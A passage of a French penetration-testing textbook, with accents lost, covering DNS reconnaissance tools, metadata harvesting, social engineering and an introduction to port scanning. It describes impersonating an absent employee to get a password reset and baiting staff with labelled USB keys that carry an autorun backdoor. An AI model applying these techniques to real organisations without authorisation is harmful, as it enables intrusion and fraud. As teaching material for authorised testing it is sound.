"si a marche, il ne faut surtout pas y toucher". Les administrateurs rseau peu expriments regardent souvent leurs serveurs DNS avec mfiance et dfiance. Ils choisissent de les ignorer totalement car ils nen matrisent pas le fonctionnement. Par consquent, la mise jour, le changement de configuration ou lapplication des correctifs sur les serveurs DNS ne font pas partie des tches prioritaires. Ajoutez cela le fait que la plupart des serveurs DNS semblent bnficier dune grande stabilit (tant que ladministrateur ny touche pas) et vous avez l une recette pour un dsastre de scurit. Ces administrateurs ont appris tort au dbut de leur carrire que moins ils bricolaient leurs serveurs DNS, moins ils risquaient de provoquer des dysfonctionnements. En raison du nombre de serveurs DNS mal configurs et non actualiss qui foisonnent aujourdhui, il est naturel que le testeur dintrusion suppose que de nombreux administrateurs rseau suivent le grand principe cit prcdemment. Si nos dclarations se vrifient dans un nombre dentreprises mme faible, nous disposons de cibles intressantes qui ont une forte probabilit dtre non corriges ou obsoltes. Logiquement, la question suivante est de savoir comment accder ce trsor virtuel. Avant que nous puissions dmarrer lexamen dun serveur DNS, nous avons besoin dune adresse IP. Au cours des tches de reconnaissance prcdentes, nous avons rencontr plusieurs rfrences au DNS. Certaines dentre elles correspondaient des noms dhtes, tandis que dautres taient des adresses IP. Grce la commande host, nous pouvons convertir les noms dhtes en adresses IP et ajouter celles-ci notre liste de cibles potentielles. nouveau, vous devez vous assurer que les adresses IP recueillies sont couvertes par ltendue du test. Nous disposons prsent dune liste dadresses IP des serveurs DNS qui appartiennent notre cible ou quelle utilise. Nous pouvons donc commencer linterrogation du DNS afin den extraire des informations.

Bien que cela soit de moins en moins possible, lune des premires actions consiste tenter un transfert de zone. Les serveurs DNS conservent des enregistrements qui mettent en correspondance ladresse IP et le nom dhte pour tous les appareils quils connaissent. Dans de nombreux rseaux, plusieurs serveurs DNS sont dploys afin assurer une redondance ou une rpartition de la charge. En consquence, ces serveurs ont besoin dun mcanisme pour partager des informations : le transfert de zone. Au cours de ce transfert, galement appel AXFR, un serveur envoie toutes les correspondances hte-vers-IP quil contient un autre serveur DNS. Cest grce ces changes que la synchronisation des serveurs DNS est assure. Mme si nous ne parvenons pas raliser un transfert de zone, nous devons passer du temps examiner tous les serveurs DNS qui entrent dans ltendue du test. NSLookup Le premier outil que nous utiliserons pour exploiter le DNS se nomme NSLookup. Il permet dinterroger les serveurs DNS et dobtenir des enregistrements sur les diffrents htes quils connaissent. NSLookup est intgr de nombreuses versions de Linux, dont Kali, et est disponible pour Windows. Il fonctionne de manire trs similaire sur tous les systmes dexploitation, mais il est prfrable de connatre les particularits de la version fournie avec votre systme. Pour cela, sous Linux, consultez la page de manuel de loutil en ouvrant une fentre de terminal et en saisissant la commande suivante : man nslookup Attention La page de manuel dun logiciel est une documentation textuelle qui dcrit loutil correspondant, notamment ses utilisations de base et

avances, ainsi que dautres dtails de fonctionnement. La plupart des outils Linux disposent dune page de manuel. Elles se rvleront utiles lorsque vous voudrez excuter un nouveau programme ou rsoudre des problmes. Pour afficher la page de manuel dun outil, saisissez la commande suivante depuis le terminal : man nom_outil Vous devez videmment remplacer nom_outil par le nom du programme dont vous souhaitez consulter la page de manuel. NSLookup peut oprer en mode interactif. Autrement dit, vous lancez le programme puis vous saisissez ses diffrentes commandes pour le faire fonctionner correctement. Ouvrez une fentre de terminal et excutez la commande suivante : nslookup Linvite du systme dexploitation, en gnral #, est alors remplace par >, qui correspond linvite de loutil. Nous pouvons alors saisir les informations supplmentaires ncessaires au fonctionnement de NSLookup. Nous commenons par le mot cl server, auquel nous ajoutons ladresse IP du serveur DNS interroger. En voici un exemple : server 8.8.8.8 NSLookup accepte la commande et affiche une nouvelle invite >. Nous prcisons ensuite le type denregistrement qui nous intresse. Pendant la phase de reconnaissance, plusieurs types denregistrements pourront nous fournir des informations intressantes. Pour connatre lintgralit de la

liste de tous ces types, avec leur description, nhsitez pas exploiter vos nouvelles comptences Google. Si nous voulons des informations gnrales, nous fixons le type any : set type=any Faites attention aux espaces ou vous recevrez un message derreur. Si nous voulons obtenir du serveur DNS des informations spcifiques, il suffit de changer le type, par exemple set type=mx, pour connatre ladresse IP du serveur de messagerie lectronique de lentreprise cible. Pour conclure notre premire interrogation du DNS laide de NSLookup, nous saisissons le domaine cible linvite >. Supposons que nous souhaitions connatre le serveur qui gre la messagerie lectronique de Syngress. Dans lexemple prcdent, nous avons dtermin quun des serveurs de noms utiliss par Syngress se nomme ns1.dreamhost.com. Nous pouvons nous servir de host pour connatre ladresse IP associe cet hte. Avec cette information, nous pouvons utiliser NSLookup pour interroger le DNS et connatre le serveur de messagerie de Syngress. La Figure 2.11 illustre cette opration. Le nom du serveur de messagerie lectronique se trouve en partie infrieure droite de lcran. Nous lajoutons notre liste de cibles potentielles.

Figure 2.11 Utiliser host et nslookup pour dterminer le serveur de messagerie lectronique de la cible. Info En utilisant set type=any dans NSLookup, vous obtiendrez un enregistrement du DNS plus complet, qui comprend notamment les informations montres la Figure 2.11. Dig Pour extraire des informations du DNS, Dig se rvle un outil particulirement appropri. Pour lutiliser, il suffit dexcuter la commande suivante depuis un terminal : dig @ip_cible

Il faut naturellement remplacer ip_cible par ladresse IP relle de la cible. Parmi ses autres possibilits, Dig permet de tenter trs simplement un transfert de zone. Rappelez-vous quil sagit dextraire de multiples enregistrements partir dun serveur DNS. Dans certains cas, le serveur cible enverra tous les enregistrements quil contient. Cette opration sera particulirement intressante si la cible ne fait pas de diffrence entre les adresses IP internes et externes lors du transfert de zone. Pour la raliser avec Dig, il suffit dindiquer loption -t AXFR. Pour tenter un transfert de zone sur un serveur DNS fictif dadresse IP 192.168.1.23 et le nom de domaine example.com, nous excutons la commande suivante depuis un terminal : dig @192.168.1.23 example.com t AXFR Si les transferts de zone sont autoriss et non limits, nous obtenons une liste des htes et des adresses IP fournie par le serveur DNS associ au domaine cible.

Fierce
Nous lavons indiqu prcdemment, la plupart des administrateurs sont aujourdhui suffisamment prcautionneux pour viter que nimporte qui effectue un transfert de zone non autoris. Mais tout nest pas perdu. Si le transfert de zone choue, il existe des dizaines dautres bons outils pour interroger le DNS. Fierce est un script Perl facile utiliser qui permet dobtenir de nombreuses cibles supplmentaires. Sous Kali, Fierce se trouve dans le rpertoire /usr/bin/. Il suffit douvrir un terminal et dexcuter la commande fierce avec les options appropries. Sous BackTrack, cet outil est install dans son propre rpertoire, en gnral /pentest/enumeration/dns/fierce . Pour y accder, vous pouvez

passer par le menu Application > BackTrack > Information Gathering > Network Analysis > DNS Analysis afin douvrir une fentre de terminal dans le rpertoire correspondant. Vous pouvez ensuite lancer loutil en excutant le script fierce.pl avec loption -dns suivie du domaine cible : ./fierce.pl -dns trustedsec.com Notez les caractres ./ devant le nom de loutil. Ils sont indispensables pour que Linux excute le fichier qui se trouve dans le rpertoire courant. Le script commence par tenter un transfert de zone complet partir du domaine indiqu. Sil choue, il essaie de dterminer des noms dhtes de manire brutale en envoyant des requtes sur le serveur DNS cible. Cette approche pourra se rvler trs efficace dans la dcouverte de cibles supplmentaires. Lide gnrale est que si Dave possde trustedsec.com (ce qui est le cas ; merci de ne pas le scanner ou linterroger) il peut galement possder support.trustedsec.com, citrix.trustedsec.com, print.trustedsec.com et de nombreux autres. Info Si Fierce nest pas install sur votre machine dattaque, vous pouvez lobtenir en excutant la commande suivante : apt-get install fierce De nombreux autres outils peuvent tre utiliss pour interagir avec le DNS. Pour vritablement les exploiter, vous devez comprendre parfaitement le fonctionnement du DNS. la fin de ce chapitre, nous prsentons quelques outils qui vous seront utiles lors dun test dintrusion impliquant le DNS.

Extraire des informations des serveurs de messagerie


Les serveurs de messagerie lectronique seront une source dinformations exceptionnelle pour les hackers et les testeurs dintrusion. bien des gards, le courrier lectronique sapparente une porte ouverte sur lentreprise cible. Si la cible hberge son propre serveur de messagerie, il reprsente un bon endroit o placer une attaque. Il est important de ne pas oublier "quil est impossible de bloquer ce qui doit entrer". Autrement dit, pour que le courrier lectronique fonctionne correctement, un trafic externe doit passer au travers des priphriques de primtre, comme les routeurs et les pare-feu, pour arriver sur une machine interne, gnralement quelque part au sein dun rseau protg. Cest pourquoi nous pouvons souvent recueillir des lments dinformation importants en interagissant directement avec le serveur de messagerie. Lune des premires actions consiste envoyer un courrier lectronique lentreprise en joignant un fichier .bat ou un fichier .exe non malveillant, comme calc.exe . Lobjectif est denvoyer un message au serveur de messagerie cible, lintrieur de lentreprise, en esprant quil lexamine et le rejette. Lorsque le message refus nous revient, nous pouvons extraire des informations relatives au serveur de messagerie cible. Le corps du message reu explique en gnral que le serveur naccepte pas les courriers accompagns de fichiers aux extensions potentiellement dangereuses. Cette explication prcise souvent le fournisseur et la version de lantivirus qui a servi analyser le message. En tant quassaillant, cette information est de premire importance. Le message renvoy par le serveur cible nous permet galement dinspecter les en-ttes Internet. Nous pouvons en extraire des informations de base sur le serveur de messagerie, notamment des adresses IP et la version ou la marque du logiciel quil utilise. Ces informations nous seront extrmement utiles lorsque nous passerons la phase dexploitation (phase 3).

MetaGooFil
MetaGooFil fait partie des excellents outils de recueil dinformations. Il sagit dun outil dextraction de mtadonnes dvelopp par les personnes qui nous proposent galement The Harvester. Les mtadonnes sont souvent dfinies comme "des donnes propos des donnes". Lorsque nous crons un document, par exemple avec Microsoft Word ou PowerPoint, des donnes supplmentaires sont gnres et enregistres avec le fichier. Elles comprennent souvent diffrents lments dinformation qui dcrivent le document, notamment le nom du fichier, sa taille, son propritaire (ou la personne qui la cr) et lemplacement (ou le chemin) dans lequel il a t enregistr. Tout cela se passe automatiquement, sans intervention de lutilisateur. Lassaillant capable de consulter ces donnes va disposer dinformations uniques sur lentreprise cible, comme des noms dutilisateurs, des noms dordinateurs ou de serveurs, des chemins rseaux, des partages de fichiers, etc. MetaGooFil est un outil qui permet de fouiller Internet la recherche de documents appartenant la cible. Aprs quil les a trouvs, il les tlcharge et tente den extraire des mtadonnes utiles. MetaGooFil est fourni avec Kali et peut tre invoqu depuis un terminal en excutant la commande metagoofil (avec les options appropries). Sinon, par exemple sous BackTrack, allez dans le rpertoire qui contient lexcutable de MetaGooFil : cd /pentest/enumeration/google/metagoofil Nous vous conseillons de crer dans ce rpertoire un dossier qui contiendra tous les fichiers tlchargs par MetaGooFil : mkdir files Ensuite, vous pouvez excuter MetaGooFil laide de la commande suivante :

./metagoofil.py -d syngress.com t pdf,doc,xls,pptx n 20 -o files f results.html ./metagoofil.py permet dinvoquer le script Python de MetaGooFil (noubliez pas les caractres ./ devant le nom du script). Loption -d prcise le domaine cible de la recherche. Loption -f sert prciser le ou les types de fichiers localiser. Au moment de lcriture de ces lignes, MetaGooFil est capable de traiter les formats pdf, doc , xls, ppt, odp, ods, docx , xlsx et pptx . Vous pouvez indiquer plusieurs types de fichiers en les sparant par des virgules (non des espaces). Loption -n permet de prciser le nombre de fichiers de chaque type que loutil doit tlcharger. Pour limiter les rsultats renvoys, il suffit de prciser des types de fichiers individuels. Loption -o prcise le nom du dossier o les fichiers trouvs et tlchargs par MetaGooFil devront tre stocks. Dans ce cas, nous indiquons le rpertoire files que nous avons cr spcifiquement dans ce but. Enfin, loption -f fixe le fichier de sortie, qui correspond un document mis en forme facile consulter et cataloguer. Par dfaut, MetaGooFil affiche galement ses dcouvertes sur le terminal. Lexcution de MetaGooFil sur Syngress ne rvlera rien de particulirement utile. Voici cependant un exemple de sortie obtenue pour un test dintrusion rcent, qui montre clairement la valeur des informations recueillies et lintrt de les inclure dans les donnes de reconnaissance. C:\Documents and Settings\dennisl\My Documents\ Ce rsultat est riche dinformations. Tout dabord, il nous fournit un nom dutilisateur rseau valide : dennisl. Ensuite, il montre clairement que Dennis se sert dun ordinateur sous Windows.

ThreatAgent
Pour la phase de reconnaissance, nous recommandons galement loutil

ThreatAgent Drone, qui, en ralit, en comprend plusieurs. Il a t dvelopp par Marcus Carey. Vous devez commencer par ouvrir un compte gratuit ladresse https://www.threatagent.com. ThreatAgent place la collecte intelligente open-source un niveau suprieur en utilisant des sites, des outils et des technologies varis pour crer un dossier complet sur votre cible. Vous devez simplement disposer du nom de lentreprise (Syngress) et dun nom de domaine, comme syngress.com (voir Figure 2.12).

Figure 2.12 Lancer une recherche avec ThreatAgent.

Aprs que le drone a termin lextraction des informations partir des diffrents sites, il affiche un rapport qui comprend des plages dadresses IP, des adresses de courrier lectronique, des points de contact dans lentreprise, des ports ouverts (avec Shodan) et bien dautres lments. La Figure 2.13 montre les rsultats (rels) dune recherche sur Syngress.

Figure 2.13 Les rsultats fournis par ThreatAgent.

Dans ces rsultats, nous pouvons trouver des noms qui proviennent de LinkedIn, Jigsaw et dautres sites publics. Nous avons galement une longue liste dadresses lectroniques qui ont t extraites et ajoutes grce des outils comme The Harvester (voir Figure 2.14).

Figure 2.14 Vecteurs dattaque supplmentaires identifis par ThreatAgent. Cet outil sera incroyablement utile aux testeurs dintrusion et nous vous le recommandons fortement pour la phase de reconnaissance dune cible.

Ingnierie sociale
Aucune prsentation de la reconnaissance ou du hacking ne saurait tre complte si lon ne traitait pas de lingnierie sociale. Nombreux sont ceux qui soutiennent que lingnierie sociale est lun des moyens les plus simples et les plus efficaces pour recueillir des informations sur une cible. Cette activit consiste exploiter la faiblesse humaine inhrente chaque entreprise. Au travers de lingnierie sociale, lassaillant a pour objectif damener un employ divulguer des informations qui devraient rester confidentielles.

Supposons que vous meniez un test dintrusion sur une entreprise. Au cours de la reconnaissance initiale, vous dcouvrez ladresse de messagerie lectronique de lun des commerciaux de la socit. Vous savez que ces personnes sont plutt enclines rpondre aux demandes dventuels clients. Vous envoyez donc un courrier partir dune adresse anonyme en feignant de vous intresser un produit particulier. En ralit, vous vous moquez totalement du produit, lobjectif de votre message tant uniquement dobtenir une rponse de la part du commercial afin dexaminer les en-ttes de messagerie quelle contient. Vous allez ainsi collecter des informations sur les serveurs de messagerie de lentreprise. Allons plus loin dans notre exemple dingnierie sociale. Supposons que ce commercial se nomme Alain Trieur (vous avez obtenu cette information au cours de la reconnaissance effectue sur le site web de lentreprise et dans la signature de sa rponse votre message). Par ailleurs, supposons que suite votre demande dinformation sur le produit vous ayez reu une rponse automatique qui indiquait quAlain Trieur tait absent du bureau pendant deux semaines, avec un accs illimit sa messagerie lectronique. Un exemple classique dingnierie sociale sera de se faire passer pour Alain Trieur et dappeler le support technique de lentreprise cible afin de lui demander de vous aider rinitialiser votre mot de passe car vous tes en dplacement ltranger et dans limpossibilit daccder votre messagerie web. Si vous avez de la chance, la personne du support technique croira votre histoire et rinitialisera le mot de passe. En supposant que le mme mot de passe est utilis sur lensemble du rseau, vous avez prsent accs la messagerie dAlain Trieur et aux autres ressources rseau, comme le VPN pour les accs distance ou le FTP pour lenvoi des chiffres de vente et les commandes des clients. linstar de la reconnaissance de faon gnrale, lingnierie sociale demande du temps et de la pratique. Tout le monde ne fait pas un bon ingnieur social. Pour russir, vous devez afficher une grande assurance,

une matrise de la situation et une flexibilit suffisante pour improviser. Si lopration se fait par tlphone, il sera extrmement utile davoir des notes dtailles et bien rdiges pour le cas o des dtails vous seraient demands. Une autre possibilit est de laisser des cls USB ou des CD dans lentreprise cible. Ils peuvent tre distribus en plusieurs endroits dans la socit ou ct. Le parking, le hall dentre, les toilettes et le bureau dun employ font de bons candidats. Il est dans la nature humaine dinsrer la cl USB ou le CD dans un PC simplement pour voir ce quil contient. Toutefois, dans ce cas, un programme de porte drobe excution automatique est prsent sur le mdia et se lance ds que celuici est insr dans lordinateur. Le programme est capable de contourner le pare-feu de la socit et appelle lordinateur de lassaillant en laissant la cible expose, avec une porte dentre grande ouverte. Nous reviendrons sur les portes drobes au Chapitre 6. Info Pour que ce type dattaque russisse plus facilement, vous pouvez ajouter une tiquette sur les CD ou les cls USB. Il sera quasiment impossible de rsister la tentation dexaminer un disque libell "Rapports des entretiens annuels", "Proposition de rduction des effectifs" ou juste "CONFIDENTIEL !".

Passer les informations au crible


Aprs que les tapes prcdentes sont termines, vous devez prvoir du temps pour examiner minutieusement toutes les informations collectes. Dans la plupart des cas, mme une reconnaissance lgre produira des montagnes de donnes. Vous devez disposer dinformations solides sur la cible, notamment son organisation, sa structure et les technologies dployes.

Pendant la procdure danalyse, une bonne approche consiste tablir une liste spare qui centralise les adresses IP. Vous devez faire de mme pour les adresses lectroniques, les noms dhtes et les URL. Malheureusement, la plupart des donnes recueillies ne seront pas directement attaquables. Pendant lanalyse de vos dcouvertes, vous devez transformer en adresse IP toute information qui nest pas une adresse IP. En utilisant Google et la commande host, vous devez pouvoir extraire des adresses IP supplmentaires lies la cible. Ajoutez-les la liste. Les informations collectes ont donc t minutieusement analyses et les donnes ont t transformes en cibles attaquables. Vous disposez alors dune liste dadresses IP qui appartiennent la cible ou qui lui sont associes dune manire ou dune autre. Comme toujours, il est important de ne pas oublier ltendue autorise pour le test, car toutes les adresses IP recueillies nen feront peut-tre pas partie. La dernire tape de la reconnaissance consiste donc examiner la liste des adresses IP et contacter la socit pour savoir si vous pouvez tendre la porte du test dintrusion ou si vous devez retirer une adresse de la liste. ce stade, vous disposez dune liste dadresses IP que vous pouvez attaquer lgitimement. Toutefois, nignorez pas les donnes non attaquables que vous avez recueillies. Lors des tapes suivantes, vous allez consulter les informations obtenues lors de la phase 1 et en extraire des lments utiles.

Mettre en pratique cette phase


Maintenant que vous avez de bonnes connaissances sur les outils et les techniques de base employs pour la reconnaissance, vous aurez besoin de mettre en pratique tous ces lments. Il existe plusieurs faons de procder. Lune des plus simples et des plus efficaces consiste tablir une liste de socits prises dans un journal. Vous pouvez galement les

reprer sur les sites web dinformations. Lorsque vous tablissez cette liste de cibles potentielles pour la reconnaissance, essayez de conserver des entreprises dont vous navez jamais entendu parler. Attention toutefois ne pas procder une reconnaissance active ! Personne ne vous a autoris mettre en place les techniques actives dcrites dans ce chapitre. Vous pouvez en revanche effectuer votre collecte dinformations laide des techniques passives prsentes. Vous pourrez ainsi affiner et aiguiser vos comptences. Vous aurez galement lopportunit de dvelopper un systme pour cataloguer, organiser et analyser les donnes collectes. Noubliez pas que cette phase est peut-tre la moins technique mais quelle a le meilleur potentiel de retour.

Et ensuite
Une fois que vous aurez pratiqu les bases de la reconnaissance et que vous les matriserez, vous serez suffisamment arm pour passer des approches plus sophistiques de la collecte des informations. Nous vous proposons une liste doutils et de techniques qui vous permettront daller plus loin dans cette activit. Commencez par apprendre utiliser les oprateurs des moteurs de recherche autres que Google. Nous lavons expliqu prcdemment, il existe diffrents moteurs de recherche, et la matrise de leur langage est importante. La plupart des moteurs de recherche modernes proposent des oprateurs ou dautres mcanismes pour effectuer des recherches labores. Noubliez pas que vous ne devez jamais baser votre reconnaissance sur un seul moteur. La recherche des mmes mots cls sur diffrents moteurs donne souvent des rsultats trs diffrents et extrmement utiles. Si vous utilisez Windows, FOCA et SearchDiggity seront des outils incroyables pour extraire des mtadonnes et tendre votre liste de

cibles. Ils sont tous deux gratuits. FOCA est disponible ladresse http://www.informatica64.com/foca.aspx. Si votre niveau despagnol nest pas suffisant, cliquez sur licne du drapeau du Royaume-Uni afin de consulter la version anglaise du site. SearchDiggity est un autre excellent outil pour exploiter les informations publiques, le hacking Google et lextraction de donnes. Il sarticule autour de produits et exploite diffrentes ressources pour produire ses rsultats. Si vous consacrez le temps ncessaire la matrise de ces outils, vous serez en bonne voie pour devenir expert en reconnaissance numrique. Ds que les fondamentaux seront acquis, vous aurez tout intrt consulter la base de donnes du hacking Google (GHDB, Google Hacking Database ) mise en place par Johnny Long. Elle runit les hacks Google les plus efficaces et les plus craints existants aujourdhui. Nous ne le rpterons jamais assez, ne testez pas ces hacks sur des cibles non autorises ! Allez sur le site de la GHBD (http://www.hackersforcharity.org/ghdb) et prenez une minute pour lire la prsentation de Hackers for Charity et le travail de Johnny au sein du programme food for work . Maltego de Paterva est un outil trs puissant qui agrge des informations issues de bases de donnes publiques et qui peut fournir des dtails extrmement prcis sur une cible. Ils peuvent tre trs techniques, comme lemplacement ou ladresse IP du pare-feu, mais galement personnels, comme la position physique dun commercial en dplacement. La matrise de Maltego va exiger un peu defforts, mais cela en vaudra la peine. Il en existe une version gratuite dans Kali. Enfin, nhsitez pas prendre le temps dexplorer le couteau suisse dInternet, RobTex. Ce site est souvent un point de passage oblig lors de la collecte de donnes car il est polyvalent et fournit de nombreuses informations.

En rsum

Le recueil dinformations constitue la premire phase dun test dintrusion ou dun hack. Bien quelle soit moins technique, son importance ne doit pas tre sous-estime. Plus vous collecterez dinformations sur votre cible, plus vos chances de russite lors des phases ultrieures du test dintrusion seront leves. Au dbut, vous risquez de vous sentir submerg par la quantit dinformations recueillies. Cependant, avec un processus de documentation adapt, une utilisation approprie des outils et un peu de pratique, vous matriserez rapidement lart de la reconnaissance.

3 Scans

Introduction
Au terme de la phase 1, vous devez avoir dvelopp une solide comprhension de la cible et organis dans le dtail les informations recueillies. Ces donnes comprennent principalement des adresses IP. Rappelez-vous que lune des dernires tapes de la reconnaissance consiste crer une liste des adresses IP qui appartiennent la cible et que vous tes autoris attaquer. Cette liste permet de passer de la phase 1 la phase 2. Au cours de la premire phase, nous avons transform les informations collectes en adresses IP attaquables. Au cours de la deuxime phase, nous associerons les adresses IP des ports et des services ouverts. Info Les exemples de ce chapitre seront mis en uvre partir de Kali et cibleront une machine virtuelle Windows XP ou Metasploitable. Aprs que vous aurez tlcharg et install Metasploitable, vous aurez probablement besoin de modifier les paramtres rseau dans la configuration de VMware Player de manire les passer de "bridged" "NAT". Redmarrez ensuite la machine virtuelle Metasploitable pour arriver un cran douverture de session comparable celui de Kali. Il sera inutile de fournir un nom dutilisateur et un mot de passe car lobjectif est de compromettre Metasploitable et dobtenir un accs distant au systme. Il est important de comprendre que le rle de la plupart des rseaux est dautoriser au moins une communication entrante et sortante leur priphrie. Les rseaux totalement isols, sans connexion Internet, sans services comme la messagerie lectronique ou laccs au Web, sont aujourdhui extrmement rares. Chaque service, connexion ou route vers un autre rseau constitue pour lassaillant un point dattaque potentiel.

Les scans ont pour objectif didentifier les systmes actifs et les services qui existent sur ces systmes. Dans le cadre de notre mthodologie, nous dcomposons la phase 2 en quatre tapes distinctes : 1. Dterminer si un systme est actif avec des paquets ping. 2. Scanner les ports du systme avec Nmap. 3. Utiliser le moteur de scripts de Nmap (NSE, Nmap Scripting Engine ) pour examiner de faon plus prcise la cible. 4. Scanner le systme la recherche de vulnrabilits avec Nessus. Plus loin dans ce chapitre, nous prsenterons des outils qui regroupent ces tapes au sein dune seule procdure. Toutefois, lors de la dcouverte dun nouvel outil et de son apprentissage, il est prfrable de les raliser sparment. Ltape 2.1 consiste dterminer si un systme cible est allum et sil est capable de communiquer ou dinteragir avec notre machine. Elle est la moins fiable et doit toujours tre suivie des tapes 2.2 2.4 quel que soit le rsultat du test. Peu importe ce que nous allons dcouvrir, il faut mener bien cette tape et noter toutes les machines qui sembleront actives. Pour tre honnte, avec lexprience, vous combinerez probablement les tapes 2.1 et 2.2 en un seul scan ralis directement avec Nmap. Puisque cet ouvrage se focalise sur les bases, nous prsentons ltape 2.1 comme une procdure indpendante. Ltape 2.2 a pour objectif didentifier les ports et services qui sexcutent sur un hte donn. Pour faire simple, un port permet un logiciel, un service ou un rseau de communiquer avec un autre matriel, comme un ordinateur. Il sagit dune connexion de donnes qui permet un ordinateur dchanger des informations avec dautres ordinateurs, logiciels ou appareils. Avant linterconnexion des ordinateurs et des rseaux, les informations taient

transfres entre les machines en utilisant des supports physiques, comme des disquettes. Ds lors que les ordinateurs ont t connects un rseau, ils ont eu besoin dune solution efficace pour communiquer les uns avec les autres. Elle a pris la forme des ports. En utilisant plusieurs ports, il est possible deffectuer des communications simultanes sans moment dattente. Si vous ntes pas familier des ports et des ordinateurs, lanalogie suivante pourra peut-tre vous aider. Imaginez que votre ordinateur soit une maison. Il existe plusieurs faons dy entrer. Chaque ouverture qui permet de pntrer dans la maison (ordinateur) est comparable un port, et toutes les entres permettent au trafic dentrer et de sortir. Imaginez que chaque point dentre dans la maison soit repr par un numro unique. La plupart des visiteurs passeront par la porte principale, mais les propritaires pourront emprunter la porte du garage. Certaines personnes pntreront dans la maison par la porte du jardin ou par une fentre. Dautres pourraient mme passer par une fentre de toit ou tenter demprunter la chatire ! Quelle que soit la manire dont vous entrez dans votre maison, chacun de ces exemples se calque parfaitement sur les ordinateurs et les ports. Les ports jouent le rle de passerelles vers votre ordinateur. Certains sont relativement communs et reoivent un trafic important (la porte dentre principale), tandis que dautres sont plus rarement employs (par les humains), comme la chatire. De nombreux services rseau rpandus sexcutent sur des numros de port standard et peuvent donner aux assaillants des indications sur le fonctionnement du systme cible. Le Tableau 3.1 recense les ports classiques et les services associs. Tableau 3.1 : Numros de ports rpandus et les services associs Numro de port Service

20 21 22 23 25 53 80 137-139 443 445 1433 3306 3389 5800

Transfert de donnes FTP Contrle FTP SSH Telnet SMTP (messagerie lectronique) DNS HTTP NetBIOS HTTPS SMB MSSQL MySQL RDP VNC au-dessus de HTTP

5900

VNC

Il existe videmment de nombreux autres ports et services. Toutefois, cette liste numre les ports les plus rpandus et utiliss par les entreprises aujourdhui. Ds que vous commencerez scanner vos cibles, vous rencontrerez gnralement ces services. Nous devons faire particulirement attention la dcouverte des ports ouverts sur les systmes cibles. Des notes dtailles doivent tre prises et la sortie des outils utiliss ltape 2.2 doit tre enregistre. Noubliez pas que chaque port ouvert est une porte dentre potentielle dans le systme cible. Ltape 2.3 exploite le moteur de scripts de Nmap (NSE, Nmap Scripting Engine ) pour pousser plus loin linterrogatoire et vrifier les dcouvertes prcdentes. Le NSE est un outil simple extrmement puissant qui tend les fonctions et la souplesse de Nmap. Il donne aux hackers et aux testeurs dintrusion la possibilit dutiliser des scripts personnaliss ou prdfinis afin de vrifier les dcouvertes, didentifier de nouveaux processus ou vulnrabilits, et dautomatiser de nombreuses techniques de test dintrusion. Ltape 2.4 conclut notre approche par un scan des vulnrabilits. Il sagit de localiser et didentifier des faiblesses connues dans les services et les logiciels qui sexcutent sur une machine cible. Dcouvrir des vulnrabilits connues sur un systme cible est comparable gagner au loto. Aujourdhui, de nombreux systmes peuvent tre exploits directement, avec peu ou pas de connaissances, ds lors quils souffrent dune vulnrabilit connue. Il est important de mentionner quil existe des diffrences de gravit au niveau des vulnrabilits. Certaines peuvent reprsenter de petites opportunits pour lassaillant, tandis que dautres lui permettront davoir

un contrle total sur une machine en cliquant simplement sur un bouton. Nous reviendrons plus loin sur les diffrents niveaux de vulnrabilit. Certains de mes clients mont demand dessayer dobtenir un accs des serveurs sensibles sur un rseau interne. Dans ces cas, la cible finale nest videmment pas accessible directement par Internet. Que nous cherchions pntrer sur une machine interne secrte ou obtenir un accs un rseau, nous commenons gnralement par scanner les priphriques de primtre. La raison en est simple. Nous commenons par ces appareils car la plupart des informations obtenues lors de la phase 1 concernent des priphriques de primtre. Par ailleurs, avec les technologies et les architectures actuelles, il nest pas toujours possible datteindre directement un rseau. Cest pourquoi nous employons souvent une mthodologie dans laquelle nous suivons une chane de machines pour atteindre la cible finale. Nous commenons par conqurir un priphrique de primtre, puis nous passons une machine interne. Info Compromettre une machine et lutiliser comme tremplin pour attaquer une autre machine se nomme "pivoter". Cette technique est souvent employe lorsque la machine cible est connecte un rseau mais sans tre atteignable directement depuis notre emplacement. Les hackers et les testeurs dintrusion auront peut-tre pivoter plusieurs reprises avant datteindre la cible initiale. Les priphriques de primtre sont des ordinateurs, des serveurs, des routeurs, des pare-feu ou dautres appareils qui se situent en priphrie dun rseau protg. Ils servent dintermdiaires entre les ressources internes protges et les rseaux externes comme Internet. Comme nous lavons mentionn, nous commenons gnralement par scanner les priphriques de primtre afin de dcouvrir des faiblesses ou des vulnrabilits qui nous permettront douvrir une porte sur le

rseau. Ds lors que cet accs est obtenu (nous y reviendrons au Chapitre 4), la procdure de scan est rpte partir de la nouvelle machine de faon trouver des cibles supplmentaires. Cette procdure cyclique nous permet de crer une carte trs dtaille du rseau interne et de dcouvrir linfrastructure critique qui se cache derrire le pare-feu dentreprise.

Ping et balayage ping


Un ping est un type de paquet rseau particulier appel paquet ICMP. Le principe consiste envoyer un type de trafic rseau spcial, appel paquet de requte ICMP Echo, une interface spcifique sur un ordinateur ou un priphrique rseau. Si lappareil (et la carte rseau associe) qui reoit le paquet ping est allum et est configur pour rpondre, il renvoie la machine dorigine un paquet de rponse ICMP Echo. Cela nous permet non seulement de savoir quun hte est actif et accepte un trafic, mais galement de connatre le temps total quil faut au paquet pour atteindre la cible et revenir. Cet change indique galement les pertes de paquets, et nous pouvons nous en servir pour estimer la fiabilit dune connexion rseau. Pour mettre un paquet ping partir de votre machine Linux, ouvrez une fentre de terminal et excutez la commande suivante : ping ip_cible Vous devez remplacer ip_cible par ladresse IP ou le nom dhte de la machine laquelle les paquets ping doivent tre envoys. La Figure 3.1 montre un exemple dutilisation de la commande ping.

Figure 3.1 Exemple dutilisation de la commande ping. La premire ligne de la Figure 3.1 montre la commande ping elle-mme. Toutes les versions rcentes de Linux et de Windows en disposent. La version Windows envoie par dfaut quatre paquets de requte Echo et se termine automatiquement, tandis que la version Linux met des requtes en permanence jusqu ce quelle soit arrte en appuyant sur les touches Ctrl+C. Concentrons-nous sur la troisime ligne, qui commence par "64 bytes from". Elle nous indique que notre paquet de requte ICMP Echo a bien atteint la cible et que celle-ci a rpondu par un paquet ICMP Reply notre machine. Comme indiqu, la taille du paquet de la rponse est de 64 octets. La partie "from par03s12-in-f24.1e100.net (173.194.45.56):" prcise le nom dhte et ladresse IP qui a rpondu notre ping sur google.fr. La partie "icmp_seq=" indique lordre du paquet, "ttl=54" correspond une valeur de dure de vie (utilis pour dterminer le

